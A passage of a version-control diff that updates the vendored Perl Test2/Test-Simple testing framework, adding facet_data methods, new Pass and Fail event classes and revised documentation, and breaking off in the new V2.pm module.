+Re-dupe the internal filehandles returned by C<test2_stdout()> and
+C<test2_stderr()> from the current STDOUT and STDERR.  You shouldn't need to do
+this except in very peculiar situations (for example, you're testing a new
+formatter and you need control over where the formatter is sending its output.)
+
 =back
 
 =head2 BEHAVIOR HOOKS
@@ -1136,6 +1354,12 @@
 Add a callback that will be called every time a context is released. The
 callback will receive the released context as its only argument.
 
+=item test2_add_callback_pre_subtest(sub { ... })
+
+Add a callback that will be called every time a subtest is going to be
+run. The callback will receive the subtest name, coderef, and any
+arguments.
+
 =item @list = test2_list_context_acquire_callbacks()
 
 Return all the context acquire callback references.
@@ -1156,6 +1380,26 @@
 
 Returns all the post load callback references.
 
+=item @list = test2_list_pre_subtest_callbacks()
+
+Returns all the pre-subtest callback references.
+
+=item test2_add_uuid_via(sub { ... })
+
+=item $sub = test2_add_uuid_via()
+
+This allows you to provide a UUID generator. If provided UUIDs will be attached
+to all events, hubs, and contexts. This is useful for storing, tracking, and
+linking these objects.
+
+The sub you provide should always return a unique identifier. Most things will
+expect a proper UUID string, however nothing in Test2::API enforces this.
+
+The sub will receive exactly 1 argument, the type of thing being tagged
+'context', 'hub', or 'event'. In the future additional things may be tagged, in
+which case new strings will be passed in. These are purely informative, you can
+(and usually should) ignore them.
+
 =back
 
 =head2 IPC AND CONCURRENCY
@@ -1164,6 +1408,10 @@
 
 =over 4
 
+=item $bool = test2_has_ipc()
+
+Check if IPC is enabled.
+
 =item $ipc = test2_ipc()
 
 This will return the global L<Test2::IPC::Driver> instance. If this has not yet
@@ -1213,6 +1461,15 @@
 This returns 1 if there are (likely) pending events. Upon return it will reset,
 nothing else will be able to see that there were pending events.
 
+=item $timeout = test2_ipc_get_timeout()
+
+=item test2_ipc_set_timeout($timeout)
+
+Get/Set the timeout value for the IPC system. This timeout is how long the IPC
+system will wait for child processes and threads to finish before aborting.
+
+The default value is C<30> seconds.
+
 =back
 
 =head2 MANAGING FORMATTERS
@@ -1300,7 +1557,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Bail.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Bail.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Bail.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,19 +2,12 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
-use Test2::Util::HashBase qw{reason};
+use Test2::Util::HashBase qw{reason buffered};
 
-sub callback {
-    my $self = shift;
-    my ($hub) = @_;
-
-    $hub->set_bailed_out($self);
-}
-
 # Make sure the tests terminate
 sub terminate { 255 };
 
@@ -32,6 +25,20 @@
 
 sub diagnostics { 1 }
 
+sub facet_data {
+    my $self = shift;
+    my $out = $self->common_facet_data;
+
+    $out->{control} = {
+        global    => 1,
+        halt      => 1,
+        details   => $self->{+REASON},
+        terminate => 255,
+    };
+
+    return $out;
+}
+
 1;
 
 __END__
@@ -92,7 +99,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Diag.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Diag.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Diag.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
@@ -16,6 +16,22 @@
 
 sub diagnostics { 1 }
 
+sub facet_data {
+    my $self = shift;
+
+    my $out = $self->common_facet_data;
+
+    $out->{info} = [
+        {
+            tag     => 'DIAG',
+            debug   => 1,
+            details => $self->{+MESSAGE},
+        }
+    ];
+
+    return $out;
+}
+
 1;
 
 __END__
@@ -73,7 +89,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Encoding.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Encoding.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Encoding.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,18 +2,29 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
+use Carp qw/croak/;
+
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
 use Test2::Util::HashBase qw/encoding/;
 
 sub init {
     my $self = shift;
-    defined $self->{+ENCODING} or $self->trace->throw("'encoding' is a required attribute");
+    defined $self->{+ENCODING} or croak "'encoding' is a required attribute";
 }
 
 sub summary { 'Encoding set to ' . $_[0]->{+ENCODING} }
 
+sub facet_data {
+    my $self = shift;
+    my $out = $self->common_facet_data;
+    $out->{control}->{encoding} = $self->{+ENCODING};
+    $out->{about}->{details} = $self->summary;
+    return $out;
+}
+
+
 1;
 
 __END__
@@ -76,7 +87,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Exception.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Exception.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Exception.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,12 +2,17 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
 use Test2::Util::HashBase qw{error};
 
+sub init {
+    my $self = shift;
+    $self->{+ERROR} = "$self->{+ERROR}";
+}
+
 sub causes_fail { 1 }
 
 sub summary {
@@ -18,6 +23,22 @@
 
 sub diagnostics { 1 }
 
+sub facet_data {
+    my $self = shift;
+    my $out = $self->common_facet_data;
+
+    $out->{errors} = [
+        {
+            tag     => 'ERROR',
+            fail    => 1,
+            details => $self->{+ERROR},
+        }
+    ];
+
+    return $out;
+}
+
+
 1;
 
 __END__
@@ -55,6 +76,10 @@
 
 =back
 
+=head1 CAVEATS
+
+Be aware that all exceptions are stringified during construction.
+
 =head1 SOURCE
 
 The source code repository for Test2 can be found at
@@ -78,7 +103,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Fail.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Fail.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Fail.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,118 @@
+package Test2::Event::Fail;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Test2::EventFacet::Info;
+
+BEGIN {
+    require Test2::Event;
+    our @ISA = qw(Test2::Event);
+    *META_KEY = \&Test2::Util::ExternalMeta::META_KEY;
+}
+
+use Test2::Util::HashBase qw{ -name -info };
+
+#############
+# Old API
+sub summary          { "fail" }
+sub increments_count { 1 }
+sub diagnostics      { 0 }
+sub no_display       { 0 }
+sub subtest_id       { undef }
+sub terminate        { () }
+sub global           { () }
+sub sets_plan        { () }
+
+sub causes_fail {
+    my $self = shift;
+    return 0 if $self->{+AMNESTY} && @{$self->{+AMNESTY}};
+    return 1;
+}
+
+#############
+# New API
+
+sub add_info {
+    my $self = shift;
+
+    for my $in (@_) {
+        $in = {%$in} if ref($in) ne 'ARRAY';
+        $in = Test2::EventFacet::Info->new($in);
+
+        push @{$self->{+INFO}} => $in;
+    }
+}
+
+sub facet_data {
+    my $self = shift;
+    my $out = $self->common_facet_data;
+
+    $out->{about}->{details} = 'fail';
+
+    $out->{assert} = {pass => 0, details => $self->{+NAME}};
+
+    $out->{info} = [map {{ %{$_} }} @{$self->{+INFO}}] if $self->{+INFO};
+
+    return $out;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Fail - Event for a simple failed assertion
+
+=head1 DESCRIPTION
+
+This is an optimal representation of a failed assertion.
+
+=head1 SYNOPSIS
+
+    use Test2::API qw/context/;
+
+    sub fail {
+        my ($name) = @_;
+        my $ctx = context();
+        $ctx->fail($name);
+        $ctx->release;
+    }
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Generic.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Generic.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Generic.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 use Carp qw/croak/;
 use Scalar::Util qw/reftype/;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
 use Test2::Util::HashBase;
@@ -12,7 +12,7 @@
 
 my @FIELDS = qw{
     causes_fail increments_count diagnostics no_display callback terminate
-    global sets_plan summary
+    global sets_plan summary facet_data
 };
 my %DEFAULTS = (
     causes_fail      => 0,
@@ -35,17 +35,26 @@
 
 for my $field (@FIELDS) {
     no strict 'refs';
-    my $stash = \%{__PACKAGE__ . "::"};
 
     *$field = sub { exists $_[0]->{$field} ? $_[0]->{$field} : () }
-        unless defined $stash->{$field}
-            && defined *{$stash->{$field}}{CODE};
+        unless exists &{$field};
 
     *{"set_$field"} = sub { $_[0]->{$field} = $_[1] }
-        unless defined $stash->{"set_$field"}
-            && defined *{$stash->{"set_$field"}}{CODE};
+        unless exists &{"set_$field"};
 }
 
+sub can {
+    my $self = shift;
+    my ($name) = @_;
+    return $self->SUPER::can($name) unless $name eq 'callback';
+    return $self->{callback} || \&Test2::Event::callback;
+}
+
+sub facet_data {
+    my $self = shift;
+    return $self->{facet_data} || $self->SUPER::facet_data();
+}
+
 sub summary {
     my $self = shift;
     return $self->{summary} if defined $self->{summary};
@@ -157,6 +166,14 @@
 
 =over 4
 
+=item $e->facet_data($data)
+
+=item $data = $e->facet_data
+
+Get or set the facet data (see L<Test2::Event>). If no facet_data is set then
+C<< Test2::Event->facet_data >> will be called to produce facets from the other
+data.
+
 =item $e->callback($hub)
 
 Call the custom callback if one is set, otherwise this does nothing.
@@ -253,7 +270,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Deleted: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Info.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Info.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Info.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,127 +0,0 @@
-package Test2::Event::Info;
-use strict;
-use warnings;
-
-use Scalar::Util qw/blessed/;
-
-our $VERSION = '1.302073';
-
-BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
-use Test2::Util::HashBase qw/diagnostics renderer/;
-
-sub init {
-    my $self = shift;
-
-    my $r = $self->{+RENDERER} or $self->trace->throw("'renderer' is a required attribute");
-
-    return if ref($r) eq 'CODE';
-    return if blessed($r) && $r->can('render');
-
-    $self->trace->throw("renderer '$r' is not a valid renderer, must be a coderef or an object implementing the 'render()' method");
-}
-
-sub render {
-    my $self = shift;
-    my ($fmt) = @_;
-
-    $fmt ||= 'text';
-
-    my $r = $self->{+RENDERER};
-
-    return $r->($fmt) if ref($r) eq 'CODE';
-    return $r->render($fmt);
-}
-
-sub summary { $_[0]->render($_[1] || 'text') }
-
-1;
-
-__END__
-
-=pod
-
-=encoding UTF-8
-
-=head1 NAME
-
-Test2::Event::Info - Info event base class
-
-=head1 DESCRIPTION
-
-Successor for note and diag events. This event base class supports multiple
-formats. This event makes it possible to send additional information such as
-color and highlighting to the harness.
-
-=head1 SYNOPSIS
-
-    use Test2::API::Context qw/context/;
-
-    $ctx->info($obj, diagnostics => $bool);
-
-=head1 FORMATS
-
-Format will be passed in to C<render()> and C<summary()> as a string. Any
-string is considered valid, if your event does not recognize the format it
-should fallback to 'text'.
-
-=over 4
-
-=item 'text'
-
-Plain and ordinary text.
-
-=item 'ansi'
-
-Text that may include ansi sequences such as colors.
-
-=item 'html'
-
-HTML formatted text.
-
-=back
-
-=head1 ACCESSORS
-
-=over 4
-
-=item $bool = $info->diagnostics()
-
-=item $info->set_diagnostics($bool)
-
-True if this info is essential for diagnostics. The implication is that
-diagnostics will got to STDERR while everything else goes to STDOUT, but that
-is formatter/harness specific.
-
-=back
-
-=head1 SOURCE
-
-The source code repository for Test2 can be found at
-F<http://github.com/Test-More/test-more/>.
-
-=head1 MAINTAINERS
-
-=over 4
-
-=item Chad Granum E<lt>exodist at cpan.orgE<gt>
-
-=back
-
-=head1 AUTHORS
-
-=over 4
-
-=item Chad Granum E<lt>exodist at cpan.orgE<gt>
-
-=back
-
-=head1 COPYRIGHT
-
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
-
-This program is free software; you can redistribute it and/or
-modify it under the same terms as Perl itself.
-
-See F<http://dev.perl.org/licenses/>
-
-=cut

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Note.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Note.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Note.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
@@ -14,6 +14,22 @@
 
 sub summary { $_[0]->{+MESSAGE} }
 
+sub facet_data {
+    my $self = shift;
+
+    my $out = $self->common_facet_data;
+
+    $out->{info} = [
+        {
+            tag     => 'NOTE',
+            debug   => 0,
+            details => $self->{+MESSAGE},
+        }
+    ];
+
+    return $out;
+}
+
 1;
 
 __END__
@@ -71,7 +87,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Ok.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Ok.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Ok.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
@@ -48,6 +48,33 @@
     return $name;
 }
 
+sub extra_amnesty {
+    my $self = shift;
+    return unless defined($self->{+TODO}) || ($self->{+EFFECTIVE_PASS} && !$self->{+PASS});
+    return {
+        tag       => 'TODO',
+        details   => $self->{+TODO},
+    };
+}
+
+sub facet_data {
+    my $self = shift;
+
+    my $out = $self->common_facet_data;
+
+    $out->{assert}  = {
+        no_debug => 1,                # Legacy behavior
+        pass     => $self->{+PASS},
+        details  => $self->{+NAME},
+    };
+
+    if (my @exra_amnesty = $self->extra_amnesty) {
+        unshift @{$out->{amnesty}} => @exra_amnesty;
+    }
+
+    return $out;
+}
+
 1;
 
 __END__
@@ -100,11 +127,6 @@
 This is the true/false value of the test after TODO and similar modifiers are
 taken into account.
 
-=item $b = $e->allow_bad_name
-
-This relaxes the test name checks such that they allow characters that can
-confuse a TAP parser.
-
 =back
 
 =head1 SOURCE
@@ -130,7 +152,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Pass.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Pass.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Pass.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,114 @@
+package Test2::Event::Pass;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Test2::EventFacet::Info;
+
+BEGIN {
+    require Test2::Event;
+    our @ISA = qw(Test2::Event);
+    *META_KEY = \&Test2::Util::ExternalMeta::META_KEY;
+}
+
+use Test2::Util::HashBase qw{ -name -info };
+
+##############
+# Old API
+sub summary          { "pass" }
+sub increments_count { 1 }
+sub causes_fail      { 0 }
+sub diagnostics      { 0 }
+sub no_display       { 0 }
+sub subtest_id       { undef }
+sub terminate        { () }
+sub global           { () }
+sub sets_plan        { () }
+
+##############
+# New API
+
+sub add_info {
+    my $self = shift;
+
+    for my $in (@_) {
+        $in = {%$in} if ref($in) ne 'ARRAY';
+        $in = Test2::EventFacet::Info->new($in);
+
+        push @{$self->{+INFO}} => $in;
+    }
+}
+
+sub facet_data {
+    my $self = shift;
+
+    my $out = $self->common_facet_data;
+
+    $out->{about}->{details} = 'pass';
+
+    $out->{assert} = {pass => 1, details => $self->{+NAME}};
+
+    $out->{info} = [map {{ %{$_} }} @{$self->{+INFO}}] if $self->{+INFO};
+
+    return $out;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Pass - Event for a simple passing assertion
+
+=head1 DESCRIPTION
+
+This is an optimal representation of a passing assertion.
+
+=head1 SYNOPSIS
+
+    use Test2::API qw/context/;
+
+    sub pass {
+        my ($name) = @_;
+        my $ctx = context();
+        $ctx->pass($name);
+        $ctx->release;
+    }
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Plan.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Plan.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Plan.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
@@ -46,17 +46,6 @@
     );
 }
 
-sub callback {
-    my $self = shift;
-    my ($hub) = @_;
-
-    $hub->plan($self->{+DIRECTIVE} || $self->{+MAX});
-
-    return unless $self->{+DIRECTIVE};
-
-    $hub->set_skip_reason($self->{+REASON} || 1) if $self->{+DIRECTIVE} eq 'SKIP';
-}
-
 sub terminate {
     my $self = shift;
     # On skip_all we want to terminate the hub
@@ -79,6 +68,26 @@
     return "Plan is '$directive'";
 }
 
+sub facet_data {
+    my $self = shift;
+
+    my $out = $self->common_facet_data;
+
+    $out->{control}->{terminate} = $self->{+DIRECTIVE} eq 'SKIP' ? 0 : undef
+        unless defined $out->{control}->{terminate};
+
+    $out->{plan} = {count => $self->{+MAX}};
+    $out->{plan}->{details} = $self->{+REASON} if defined $self->{+REASON};
+
+    if (my $dir = $self->{+DIRECTIVE}) {
+        $out->{plan}->{skip} = 1 if $dir eq 'SKIP';
+        $out->{plan}->{none} = 1 if $dir eq 'NO PLAN';
+    }
+
+    return $out;
+}
+
+
 1;
 
 __END__
@@ -150,7 +159,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Skip.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Skip.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Skip.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 BEGIN { require Test2::Event::Ok; our @ISA = qw(Test2::Event::Ok) }
@@ -30,6 +30,25 @@
     return $out;
 }
 
+sub extra_amnesty {
+    my $self = shift;
+
+    my @out;
+
+    push @out => {
+        tag       => 'TODO',
+        details   => $self->{+TODO},
+    } if defined $self->{+TODO};
+
+    push @out => {
+        tag       => 'skip',
+        details   => $self->{+REASON},
+        inherited => 0,
+    };
+
+    return @out;
+}
+
 1;
 
 __END__
@@ -98,7 +117,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Subtest.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Subtest.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Subtest.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,50 +2,49 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
-
 BEGIN { require Test2::Event::Ok; our @ISA = qw(Test2::Event::Ok) }
-use Test2::Util::HashBase qw{subevents buffered subtest_id};
+use Test2::Util::HashBase qw{subevents buffered subtest_id subtest_uuid};
 
 sub init {
-	my $self = shift;
-	$self->SUPER::init();
-	$self->{+SUBEVENTS} ||= [];
-	if ($self->{+EFFECTIVE_PASS}) {
-		$_->set_effective_pass(1) for grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}};
-	}
+    my $self = shift;
+    $self->SUPER::init();
+    $self->{+SUBEVENTS} ||= [];
+    if ($self->{+EFFECTIVE_PASS}) {
+        $_->set_effective_pass(1) for grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}};
+    }
 }
 
 {
-	no warnings 'redefine';
+    no warnings 'redefine';
 
-	sub set_subevents {
-		my $self      = shift;
-		my @subevents = @_;
+    sub set_subevents {
+        my $self      = shift;
+        my @subevents = @_;
 
-		if ($self->{+EFFECTIVE_PASS}) {
-			$_->set_effective_pass(1) for grep { $_->can('effective_pass') } @subevents;
-		}
+        if ($self->{+EFFECTIVE_PASS}) {
+            $_->set_effective_pass(1) for grep { $_->can('effective_pass') } @subevents;
+        }
 
-		$self->{+SUBEVENTS} = \@subevents;
-	}
+        $self->{+SUBEVENTS} = \@subevents;
+    }
 
-	sub set_effective_pass {
-		my $self = shift;
-		my ($pass) = @_;
+    sub set_effective_pass {
+        my $self = shift;
+        my ($pass) = @_;
 
-		if ($pass) {
-			$_->set_effective_pass(1) for grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}};
-		}
-		elsif ($self->{+EFFECTIVE_PASS} && !$pass) {
-			for my $s (grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}}) {
-				$_->set_effective_pass(0) unless $s->can('todo') && defined $s->todo;
-			}
-		}
+        if ($pass) {
+            $_->set_effective_pass(1) for grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}};
+        }
+        elsif ($self->{+EFFECTIVE_PASS} && !$pass) {
+            for my $s (grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}}) {
+                $_->set_effective_pass(0) unless $s->can('todo') && defined $s->todo;
+            }
+        }
 
-		$self->{+EFFECTIVE_PASS} = $pass;
-	}
+        $self->{+EFFECTIVE_PASS} = $pass;
+    }
 }
 
 sub summary {
@@ -58,12 +57,42 @@
         $name .= " (TODO: $todo)";
     }
     elsif (defined $todo) {
-        $name .= " (TODO)"
+        $name .= " (TODO)";
     }
 
     return $name;
 }
 
+sub facet_data {
+    my $self = shift;
+
+    my $out = $self->SUPER::facet_data();
+
+    $out->{parent} = {
+        hid      => $self->subtest_id,
+        children => [map {$_->facet_data} @{$self->{+SUBEVENTS}}],
+        buffered => $self->{+BUFFERED},
+    };
+
+    return $out;
+}
+
+sub add_amnesty {
+    my $self = shift;
+
+    for my $am (@_) {
+        $am = {%$am} if ref($am) ne 'ARRAY';
+        $am = Test2::EventFacet::Amnesty->new($am);
+
+        push @{$self->{+AMNESTY}} => $am;
+
+        for my $e (@{$self->{+SUBEVENTS}}) {
+            $e->add_amnesty($am->clone(inherited => 1));
+        }
+    }
+}
+
+
 1;
 
 __END__
@@ -121,7 +150,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,18 +2,36 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
+use Carp qw/croak/;
+
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
 use Test2::Util::HashBase qw/version/;
 
 sub init {
     my $self = shift;
-    defined $self->{+VERSION} or $self->trace->throw("'version' is a required attribute");
+    defined $self->{+VERSION} or croak "'version' is a required attribute";
 }
 
 sub summary { 'TAP version ' . $_[0]->{+VERSION} }
 
+sub facet_data {
+    my $self = shift;
+
+    my $out = $self->common_facet_data;
+
+    $out->{about}->{details} = $self->summary;
+
+    push @{$out->{info}} => {
+        tag     => 'INFO',
+        debug   => 0,
+        details => $self->summary,
+    };
+
+    return $out;
+}
+
 1;
 
 __END__
@@ -73,7 +91,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/V2.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/V2.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/V2.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,238 @@
+package Test2::Event::V2;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Scalar::Util qw/reftype/;
+use Carp qw/croak/;
+
+BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
+
+use Test2::Util::Facets2Legacy qw{
